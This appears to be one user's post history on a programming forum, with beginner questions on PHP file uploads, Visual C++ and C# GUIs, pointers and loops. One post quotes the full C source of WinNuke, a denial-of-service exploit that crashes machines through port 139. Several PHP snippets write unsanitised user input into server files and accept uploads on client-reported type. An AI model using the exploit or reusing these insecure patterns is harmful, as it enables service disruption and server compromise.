CreativeCoding 23 Light Poster

Well, I have no idea whats going on... But here is the problem:

I have these files:

$file2 = "password_protect.php";
$newfile = $newDir . "/password_protect.php";
if (!copy($file2, $newfile)) {
    echo "Creation failed.";
}
else{
chmod($newfile, 0777);
chmod("passProcess.php", 0777);
echo "Step 1/2 completed.<br />"
?>
<form action="passProcess.php?var=Users/<?PHP echo $projectname  ?>/" method="post">
New password: <input type="text" name="addition"/><br/>
<input type="submit"/>
</form>
<?php
}
<?php 
 echo $_GET['var'] . "<br />"; 
 echo $_POST['addition']; 
 $File = "creativecodingstudios.com/connect/" . $_GET['var'];
 $Handle = fopen($File, 'a'); 
 $Data = "$password = " . $_POST['addition']; 
 fwrite($Handle, $Data); 
 print "Data Added"; 
 fclose($Handle); 
 ?>

But on the second code, I get a 500 error. Why?

CreativeCoding 23 Light Poster

I have tried multiple methods with no success.

CreativeCoding 23 Light Poster

How do I make it so that if the webpage requires you to open a new tab, it would open in the same window instead?

CreativeCoding 23 Light Poster

That didn't work. Google chrome says something is uploading and the stats display the size and everything.


creativecodingstudios.com

for the index file, upload an html document. The next field is the main concern.

CreativeCoding 23 Light Poster

Well, I am making an upload for people who make games with the Unity game engine. Basically, the engine will build the game and produce an html file and .unity3d file.

here is my html form:

<html>
<body>

<form action="upload_file.php" method="post"
enctype="multipart/form-data">
<label for="file">Index file:</label>
<input type="file" name="file" id="file" />
<br />
<label for="file2">Unity file:</label>
<input type="file" name="file2" id="file2" /> 
<br />
<input type="submit" name="submit" value="Submit" />
</form>

</body>
</html>

and here is my upload_file script:

<?php
if ((($_FILES["file"]["type"] == "text/html")
&& ($_FILES["file2"]["size"] < 8388608)
&& ($_FILES["file"]["size"] < 8388608)))
{
if($_FILES["file2"]["size"] < 8388608){
  if ($_FILES["file"]["error"] > 0)
    {
    echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
    echo "Return Code: " . $_FILES["file2"]["error"] . "<br />";
    }
  else
    {
    $mb = $_FILES["file2"]["size"] / 1048576;
    echo "Done.";
    echo "<br />";
    echo "Index file: " . $_FILES["file"]["name"] . "<br />";
    echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
    echo "<br />";
    echo "Unity file: " . $_FILES["file2"]["name"] . "<br />";
    echo "Size: " . ($_FILES["file2"]["size"] / 1048576) . "Mb<br />";
    echo "<br />";
    if($mb < 1){
    echo "Space used: [-------------]";
    }
    else if($mb <= 1){
    echo "Space used: [|------------]";
    }
    else if($mb <= 2){
    echo "Space used: [||-----------]";
    }
    else if($mb <= 3){ 
    echo "Space used: [|||----------]";
    }
    else if($mb <= 4){
    echo "Space used: [|||||--------]";
    }
    else if($mb <= 5){
    echo "Space used: [|||||||------]";
    }
    else if($mb <= 6){
    echo "Space used: [|||||||||----]";
    }
    else if($mb <= 7){
    echo "Space used: [|||||||||||--]";
    }
    else if($mb <= 8){ …
CreativeCoding 23 Light Poster

Where you have...

elseif ($_FILES["file"]["size"] < 214748364.8){
$size = "20%;

There is a missing closing double quote " .

elseif ($_FILES["file"]["size"] < 214748364.8){
$size = "20%";

:P

thanks for the reply!

CreativeCoding 23 Light Poster

I am trying to create an upload system for my website. I want it to display the size of the file as well as the percentage the file takes up of 1GB (example: 512MB would be %50 because 512 is 0.5GB). The way I chose to do this is to create a lot of if, elseif.

Here is my code:

<?php
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "udk")
|| ($_FILES["file"]["type"] == "upk")
|| ($_FILES["file"]["type"] == "application/exe")
|| ($_FILES["file"]["type"] == "image/png")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/bmp")
|| ($_FILES["file"]["type"] == "text/plain")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/gif"))
&& ($_FILES["file"]["size"] < 1073741824)) //1GB of storage.
  {
  if ($_FILES["file"]["error"] > 0)
    {
    echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
    //var_dump($_FILES["file"]["type"]);
    }
  else
    {
    if ($_FILES["file"]["size"] < 107374182.4){
    	$size = "10%";
    }
    elseif ($_FILES["file"]["size"] < 214748364.8){
    	$size = "20%;
    }
    elseif ($_FILES["file"]["size"] < 322122547.2){
    	$size = "30%";
    }
    elseif ($_FILES["file"]["size"] < 429496729.6){
    	$size = "40%";
    }
    elseif ($_FILES["file"]["size"] < 536870912){
    	$size = "50%";
    }
    elseif ($_FILES["file"]["size"] < 644245094.4){
    	$size = "60%";
    }
    elseif ($_FILES["file"]["size"] < 751619276.8){
    	$size = "70%";
    }
    elseif ($_FILES["file"]["size"] < 858993459.2){
    	$size = "80%";
    }
    elseif ($_FILES["file"]["size"] < 966367641.6){
    	$size = "90%";
    }
    elseif ($_FILES["file"]["size"] < 1063004405.76){
    	$size = "99%";
    }
    elseif ($_FILES["file"]["size"] = 1073741824){
    	$size = "100%";
    }
    
    echo "Name: " . $_FILES["file"]["name"] . "<br />";
    echo "Type: " . $_FILES["file"]["type"] . "<br />";
    echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
    echo "Percentage used: " . $size;
    
   
    //echo …
CreativeCoding 23 Light Poster

I was curious myself, so i wnt to the PHP site. not much info there about this!
However at the end there was a comment that might help:


If not, I would put in a:

var_dump($_FILES["file"]["type"]);

to see what is actually being captured in the array.

Sweet. Worked perfectly.

CreativeCoding 23 Light Poster

Maybe someone would want to help you if you were to spell please correctly...

Orion2k commented: plz ->please noob.! +0
jonsca commented: Rep back on this one +4
CreativeCoding 23 Light Poster

Ok, so I am creating an uploader for uploading files such as .udk or .upk as well as other basic files such as txt and html. But I have been tinkering with the code I found (i'm a noob) and I can't get it to accept those extra extensions.

Here is my code:

<?php
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "udk")
|| ($_FILES["file"]["type"] == "upk")
|| ($_FILES["file"]["type"] == "application/exe")
|| ($_FILES["file"]["type"] == "image/png")
|| ($_FILES["file"]["type"] == "image/bmp")
|| ($_FILES["file"]["type"] == "image/jpeg")
&& ($_FILES["file"]["size"] < 20000))
  {
  if ($_FILES["file"]["error"] > 0)
    {
    echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
    }
  else
    {
    echo "Upload: " . $_FILES["file"]["name"] . "<br />";
    echo "Type: " . $_FILES["file"]["type"] . "<br />";
    echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
    echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";

    if (file_exists("dropbox/" . $_FILES["file"]["name"]))
      {
      echo $_FILES["file"]["name"] . " already exists. Please rename and try again.";
      }
    else
      {
      $yes = "<a href='/dropbox/" . $_FILES["file"]["name"] . "'>Confirm</a>";
      move_uploaded_file($_FILES["file"]["tmp_name"],
      "dropbox/" . $_FILES["file"]["name"]);
      echo $yes;
      }
    }
  }
else
  {
  if (($_FILES["file"]["size"] < 20000)){
  echo "Your file is too big!";
  }
  else{
  echo "Invalid file";
  }
  }
?>
CreativeCoding 23 Light Poster

Wow. Ishould probably stop programming late at night. Thanks guys.

CreativeCoding 23 Light Poster

I am creating a program that password protects software. The way I plan to protect it is to check if the program is running, and if it is, open up a window asking for a password. If it is wrong, close the protected software. I have this piece of code to check for the software process:

private void update_Tick(object sender, EventArgs e)
        {
            protecting.Text = "Protecting: " + Settings.Default.exe.ToString();
            if (protecting.Text == "Protecting: ")
            {
                protecting.Text = "Protecting: Nothing";
            }
            status.Text = Settings.Default.status.ToString();
            if (status.Text == "Disabled")
            {
                status.ForeColor = Color.Red;
            }
            else
            {
                status.ForeColor = Color.Green;
            }

            //Problem part
            IsProcessOpen("notepad.exe");
        }


        public bool IsProcessOpen(string name)
        {
            //here we're going to get a list of all running processes on
            //the computer
            foreach (Process clsProcess in Process.GetProcesses())
            {
                //now we're going to see if any of the running processes
                //match the currently running processes. Be sure to not
                //add the .exe to the name you provide, i.e: NOTEPAD,
                //not NOTEPAD.EXE or false is always returned even if
                //notepad is running.
                //Remember, if you have the process running more than once, 
                //say IE open 4 times the loop thr way it is now will close all 4,
                //if you want it to just close the first one it finds
                //then add a return; after the Kill
                if (clsProcess.ProcessName.Contains(name))
                {
                    //if the process is found to be running then we
                    //return a true

                    MessageBox.Show("You are not allowed to use this program...");
                    update.Enabled = false;

                    return true;
                }
            }
            update.Enabled = true;

            //otherwise …
CreativeCoding 23 Light Poster

Can you give me an example of an INI file and using it with my code?

CreativeCoding 23 Light Poster

So I am sorta interested in viruses. No, I do not plan to make the next conficker or even something that will trash my brothers PC. But I want to learn about how they work. What they do that makes PC's let them into their system...

So for a first, I looked into winnuke. WinNuke is a really old hack that just causes a BSOD of the target using only that computers IP. I have found the source code and need help.

here it is:

/* winnuke.c - (05/07/97)  By _eci  */
/* Tested on Linux 2.0.30, SunOS 5.5.1, and BSDI 2.1 */
#include <stdio.h>
#include <string.h>
//#include <netdb.h>
//#include <in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
//#include <OS.h>
//#include <inet.h>
//#include <bsd_mem.h>

#define dport 139  /* Attack port: 139 is what we want */
int x, s;
char *str = "Bye";  /* Makes no diff */
struct sockaddr_in addr, spoofedaddr;
struct hostent *host;
int open_sock(int sock, char *server, int port) {
     struct sockaddr_in blah;
     struct hostent *he;
     bzero((char *)&blah,sizeof(blah));
     blah.sin_family=AF_INET;
     blah.sin_addr.s_addr=inet_addr(server);
     blah.sin_port=htons(port);
    if ((he = gethostbyname(server)) != NULL) {
         bcopy(he->h_addr, (char *)&blah.sin_addr, he->h_length);
    }
    else {
         if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) {
           perror("gethostbyname()");
           return(-3);
         }
    }
        if (connect(sock,(struct sockaddr *)&blah,16)==-1) {
             perror("connect()");
             close(sock);
             return(-4);
        }
        printf("Connected to [%s:%d].\n",server,port);
        return 0;
}
int main(int argc, char *argv[]) {
     if (argc != 2) {
       printf("Usage: %s <target>\n",argv[0]);
       exit(0);
     }
     if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
        perror("socket()");
        exit(-1);
     }
     open_sock(s,argv[1],dport);
     printf("Sending crash... ");
       send(s,str,strlen(str),MSG_OOB);
       //snooze(100000); …
CreativeCoding 23 Light Poster

In visual C#, there was this thing where you can add a settings file and refer to a setting in that settings file in your code. With that, I was able to save user settings easily. But I can't find it in C++. Is there no settings file option? If not, what are some solutions for saving basic strings or ints so that my program won't forget them later?

CreativeCoding 23 Light Poster

So I am creating a Lockerz program using Visual C++. I have created a few buttons and the web browser thing. It all works great. Accept, when it gets to a page that play a video, I get this error:

An error occurred in a script on this page
Line: 2
Char: 184
Error: Expected identifier, string or number
Code: 0
URL: http://www.lockerz.com/min/?f=js/content/video/show.js
Do you want to continue running the scripts on this page?
Yes No

Even if I press yes or no, the page loads everything except for the Flash video....

the code from lockers:

var tp="http://release.theplatform.com/content.select?tracking=true&pid=";var contentID;var videoPID;var vidTitle;var vidDescription;var isitWatched;var current_message;$(document).ready(function(){contentID=$('#video_cid').attr('value');videoPID=$('#video_pid').attr('value');vidTitle=$('#video_name').html();vidDescription=$('#content-video-discription').html();isitWatched=$('#is_already_watched').val();current_message=$('#watchedMessage').html();setupVideo();centerList($("#videosWrapper"),$("#videoList"),$("#videoList li"),$('#total_clips').val(),10);buildTooltipCallbacks();});$(window).resize(function(){centerList($("#videosWrapper"),$("#videoList"),$("#videoList li"),$('#total_clips').val(),10);});function setupVideo(){var loco=String(window.location);var adTag="demo";if(loco.search("http://www.lockerz.com")!=-1){adTag="default";}
var flashvars={tpURL:escape(tp),videoPID:escape(videoPID),shareLink:escape(loco),vidTitle:escape(vidTitle),vidDes:escape(vidDescription),adVertTag:escape(adTag),isWatched:isitWatched,};var params={base:"/swf/video/",allowFullScreen:"true",wmode:"transparent",allowScriptAccess:"sameDomain"};var attributes={};swfobject.embedSWF("/swf/video/VideoPlayer.swf","playerwidget","725","472","9.0.0","",flashvars,params,attributes);}
function addFinishingMessage(data){$('#watchedMessage').html(current_message);switch(data.status)
{case"already_watched":case"multi_video":$('#watchedMessage').append(data.message);$('#contentWatched').show();break;case"technical":$('#watchedMessage').append(data.message);$('#contentWatched').show();$('#contentWatched').fadeOut(2000);break;case"overlaod":$('#captchaInstructions').html(data.message);Recaptcha.reload();$('#getPtzBtn').val('RETRY');break;case"error":$('#captchaInstructions').html(data.message+": ");for(var i=0;i<data.errors.length;i++)
{$('#captchaInstructions').append(data.errors[i]+" ");}
Recaptcha.reload();$('#getPtzBtn').val('RETRY');break;case"key2":$('#contentCaptcha').show();$('#challenge_key2').val(data.challenge_key2);break;case"success":playSound();updatePtz();$('#contentCaptcha').fadeOut(2000);$('#watchedMessage').append(data.message);$("#contentWatched").show();document.getElementById("playerwidget").deliverPTZValue(data.amount);break;default:break;}}
function confirmWatch(){$.post('/content/video/award_pointz',{recaptcha_challenge_field:$('[name=recaptcha_challenge_field]').val(),recaptcha_response_field:$('[name=recaptcha_response_field]').val(),challenge_key:$('#challenge_key').val(),challenge_key2:$('#challenge_key2').val(),pid:videoPID},addFinishingMessage,'json');return false;}
function vidFinished(){$.post('/content/video/award_pointz',{challenge_key:$('#challenge_key').val(),pid:videoPID},addFinishingMessage,'json');}
function toggleDim(s){switch(s){case"dim":$("#contentDim").fadeIn(300);break;case"undim":$("#contentDim").fadeOut(300);break;}}

Any ideas on what is causing the problems? The videos work fine in any other browser...

Thanks!

CreativeCoding 23 Light Poster

So, in Visual C#, You were able to declare variables for everything to use. Like this:

namespace MrTwitterStalker
{
    public partial class Form1 : Form
    {
        string fullUrl;
        public Form1()
        {
            InitializeComponent();
        }

     
        private void button1_Click(object sender, EventArgs e)
        {
            fullUrl = "http://www.rawrs.com/";
        }
        
        
        }
    }

but for some reason, I can't do this for VC++. Any ideas?

CreativeCoding 23 Light Poster

Thank you so much!

CreativeCoding 23 Light Poster

So I have this code:

String^ main = "http://www.lockerz.com/";
			 if(main == web->Url->ToString()){
				 MessageBox::Show("Hello", "WIN");
			 }

and it's attached to a timer that ticks every 100 milliseconds. Oh yeah, and web is the web browser in VC++.

But when I run, I get this error:

An unhandled exception of type 'System.NullReferenceException' occurred in Lockerz.exe

Additional information: Object reference not set to an instance of an object.

(The project is named lockerz)
and when I used the red-dot thingy (that pauses the code at the line), it pointed to the "if" as being the problem...


So, any ideas?

CreativeCoding 23 Light Poster

Meh...

Whenever I don't feel like writing that whole system pause thing, I do this:

#define pause system("PAUSE");

so then its usage would be:

pause;
CreativeCoding 23 Light Poster

Hmm...

I was unable to translate it to C++. Got any ideas? I used:

using namespace System::Net;
CreativeCoding 23 Light Poster

I would like to do something like this:

readfilethingy("www.mywebsite.com/update.txt"); //fail

with update.txt being this:

3.4
http://www.newupdatedownloadlocation.com/

//OR just the http location

with the result being:

*user clicks on update button*
"NEW UPDATE IS AVAILABLE! :D"
*Clicks download*
*Download on .exe starts*

So, is it possible? I have searched and searched on google with no results...

CreativeCoding 23 Light Poster

Thanks guys

CreativeCoding 23 Light Poster

So I'm making this program, and this is what I have so far

private: System::Void load_Click(System::Object^  sender, System::EventArgs^  e) {
			 outs("ComputerName", SystemInformation::ComputerName);
			 outb("Network", SystemInformation::Network);
			 outs("UserDomainName", SystemInformation::UserDomainName);
			 outs("UserName", SystemInformation::UserName);
			 outbm("BootMode", SystemInformation::BootMode);
			 outi("MonitorCount", SystemInformation::MonitorCount);
			 outb("MonitorsSameDisplayFormat", SystemInformation::MonitorsSameDisplayFormat);
			 outad("ArrangeDirection", SystemInformation::ArrangeDirection);
			 outb("MousePresent", SystemInformation::MousePresent);
			 outb("MouseButtonsSwapped", SystemInformation::MouseButtonsSwapped);
			 outb("UserInteractive", SystemInformation::UserInteractive);
			 outr("VirtualScreen", SystemInformation::VirtualScreen);
		 }

		 public: System::Void outs(String^ x, String^ y){
					 out->AppendText(x);
					 out->AppendText(" : ");
					 out->AppendText(y);
					 out->AppendText("\n");
				 }

		 public: System::Void outb(String^ x, bool y){
					 out->AppendText(x);
					 out->AppendText(" : ");
					 out->AppendText(y.ToString());
					 out->AppendText("\n");
				 }

		 public: System::Void outi(String^ x, int y){
					 out->AppendText(x);
					 out->AppendText(" : ");
					 out->AppendText(y.ToString());
					 out->AppendText("\n");
				 }

		 public: System::Void outbm(String^ x, BootMode y){
					 out->AppendText(x);
					 out->AppendText(" : ");
					 out->AppendText(y.ToString());
					 out->AppendText("\n");
				 }

		 public: System::Void outad(String^ x, ArrangeDirection y){
					 out->AppendText(x);
					 out->AppendText(" : ");
					 out->AppendText(y.ToString());
					 out->AppendText("\n");
				 }

		 public: System::Void outr(String^ x, Rectangle y){
					 out->AppendText(x);
					 out->AppendText(" : ");
					 out->AppendText(y.ToString());
					 out->AppendText("\n");
				 }

So far it does what it's told. But I was wondering if there is a list out there with everything for the SystemInformation:: tag thingy.

example:

SystemInformation::Network
SystemInformation::UserName

Any ideas?


Oh yeah, and what do you think of my code? I know it's noobish but hey, I just got started. And plus I decided to go head first and hope I don't hit anything hard rather than read books.
Google is my friend. Google is my book.

CreativeCoding 23 Light Poster

So I have looked and looked and wasn't able to find how to retrieve text from a selected option in a combobox. I have just started visual c++ so I don't really understand a lot. But I used to work with Visual C# before.

So, is there any way?

if(comboboxslectedvaluethingy == "option 2"){
//Do something
}
CreativeCoding 23 Light Poster

make something where the console retrieves a file (preferably txt) and read each line separately?

example:

fsocksthingy("data.txt");
cout << data.txt;

while data.txt is:

name1 http://downloadlink.com
name2 http://downlink2.com
name3 http://downlink3.com

and the result would be:

name1
name2
name3
Download which version > (input here)
You chose name2!
(opens http link to download)

I know this is somewhat confusing but I need to know!

CreativeCoding 23 Light Poster

I don't understand your last post.
I can tell you that when you make some variable, it magically appears in the computers memory. Magic.
A pointer contains a memory address. They are used to access whatever is a that memory position.

References and pointers are basically the same.
Except pointers may change their address.

Example:

float* numPtr = new float(10); // the new operator creates a float that isn't associated to a scope. Means it lives until it is manually deleted.
std::cout << *numPtr; // We have to write * in front of our pointer, otherwise the pointers contained address is output, instead of the value of the memory at that address
numPtr = new float(133);
std::cout << *numPtr; // we output the same pointer, but it has a different value. MAGIC!
// Oh well, now where here. What now? Oh yes, we gotta delete the floats we created:
delete numPtr;
delete ... // Oh gawd, we don't have the address of the other float anymore. This is a memory leek. But don't worry, exit the app and your OS will delete the associated memory anyway.

So what is the point of it?
Well in C++ you may have a whole lot of objects, but only one is to be active at a time. So you have a pointer, and your code will work with that pointer. But you dynamically change the address in that pointer, and the code has a whole other meaning.
Also, when …

CreativeCoding 23 Light Poster

Ok. How about, what are there purpose in there short little compiled lives?

CreativeCoding 23 Light Poster

So in my last problem, someone said "Use a pointer" (or something like that). When I googled it. It had to do with memory blocks (at least, I think). So what is it? And, oh yeah, can you make it as simple as possible. I have tried seeing what it does with this:

string* smile;
smile[50];
cout << smile;
CreativeCoding 23 Light Poster

I'm stuck with goto. I need to stop cause sometimes, it screws up my code. I used to do something like this.

int command;
start:
command = NULL; // this was a random guess to see if it would work
cin >> command;
if(command == 1){
cout << "Your chose 1" << endl;
pause; //I defined this
goto start;
}

And so after some heated debates over goto, I decided to try out the while. So now my code looks like this.

int command;
cin >> command;
        while(command == 1) 
               { 
                      reset; //resets command to null (this is defined)
     cout << "You chose 1" << endl;
               pause; //defined
  }

But when I run that, the code works other than the fact that it exits out after pause. How do I have it go back to the main "cin"?

CreativeCoding 23 Light Poster

Hmm. That seemed to fix it. But now I have a new problem. Whenever I enter a location, it gives me

File not found - Ä

Also, I don't much about memory allocation but after a few tutorials, i wrote this update

try
  {
    clear;
    char * dir;
    cout << "Enter folder location > ";
    cin >> dir;
    dir = new char [50];
    char l_szCommand[50];
    if (dir == 0) {
  clear;
  cout << "Error: memory could not be allocated" << endl;
  pause;
  }; 
    sprintf(l_szCommand, "attrib +r %s", dir);
    system(l_szCommand);
    Sleep(5000);
  }
  catch (int e)
  {
    clear;
    cout << "Error: " << e << endl;
    pause;
  }
CreativeCoding 23 Light Poster

I like desktop more than web. But I will do web whenever I feel creative. My languages that I know are Actionscript, C# (I hate it), and a little bit of C++.

CreativeCoding 23 Light Poster

Yep. I just turned 13. And im too lazy to write so I'll just answer this stuff:

Name: Sean
Height: 5'5''
Weight: this is all like, stalker material here.
Hair: blonde
Eyes: blue
Location: Washington, USA
Age: 13
Hobbies: Music, animation (drawing it), programming, BMX, paintball, airsoft, and guns.
something I hate:
::OpenGL::
reason: confusing
example: hfjdaklfea*hfdauhauifdhsa //this makes sure that no fire bunnies enter the mainframe and destroy zorak


So, yeah. That's me.

CreativeCoding 23 Light Poster

I only read this cause I live in Bothell...

Seattle is AWESOME!

and, oh yeah, welcome!

CreativeCoding 23 Light Poster

I ran it and it worked just fine. Just a tip though, try spacing out some of your code. It's sorta hard to read.

like change this:

cout<<"CRAPS IS A FUNNY NAME"<<endl;

to this:

cout << "CRAPS IS A FUNNY GAME" << endl;

I'm just saying.

CreativeCoding 23 Light Poster

So i'm working on this program. And long story short, I need something that will allow the user to choose the dir/file and have the system set read-only to true.

Here is a piece that I worked on. Only it crashes on the system line.

try
  {
    clear;
    char* dir;
    cout << "Enter folder location > ";
    cin >> dir;
    char l_szCommand[50];
    sprintf(l_szCommand, "attrib +r %s", dir);
    system(l_szCommand);
    Sleep(5000);
  }
  catch (int e)
  {
    clear;
    cout << "Error: " << e << endl;
    system("PAUSE");
  }

Forgive me for anything wrong with this for I am just about a few hours new to C++. And i'm only 13...

CreativeCoding 23 Light Poster

Well, if you paid any attention, that would be easy. But you didn't pay attention.... Therefor you show no effort in your work. You should have read the rules here.


BUT,

just to be nice. Look into cout, cin, and then the if statement.

Salem commented: And very nice it was too :) +19
CreativeCoding 23 Light Poster

oh ok, thanks, that makes sense, cause how would u open it on another computer if u dont have that?

Thanks

You would have to send them the exe.

CreativeCoding 23 Light Poster

Oh. You want to publish your program? Like, just have a single exe that you open and it would have the whole compiled program? Just go to the folder that your program is saved in and take out the exe. When dev-C++ builds, it makes an EXE of the program.

CreativeCoding 23 Light Poster

Your question is very confusing. Can you give us more detail?